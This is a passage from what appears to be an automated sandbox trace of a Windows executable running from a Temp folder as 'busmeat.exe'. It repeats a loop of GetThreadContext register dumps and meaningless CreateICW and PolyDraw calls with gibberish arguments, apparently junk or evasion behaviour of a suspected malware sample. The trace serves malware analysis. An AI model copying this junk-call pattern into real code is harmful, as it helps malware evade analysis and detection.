[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.314] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.315] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.315] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.315] GetConsoleCP () returned 0x0
	[0066.315] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.315] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.316] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.316] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.316] GetConsoleCP () returned 0x0
	[0066.316] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.316] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.316] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.317] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.317] GetConsoleCP () returned 0x0
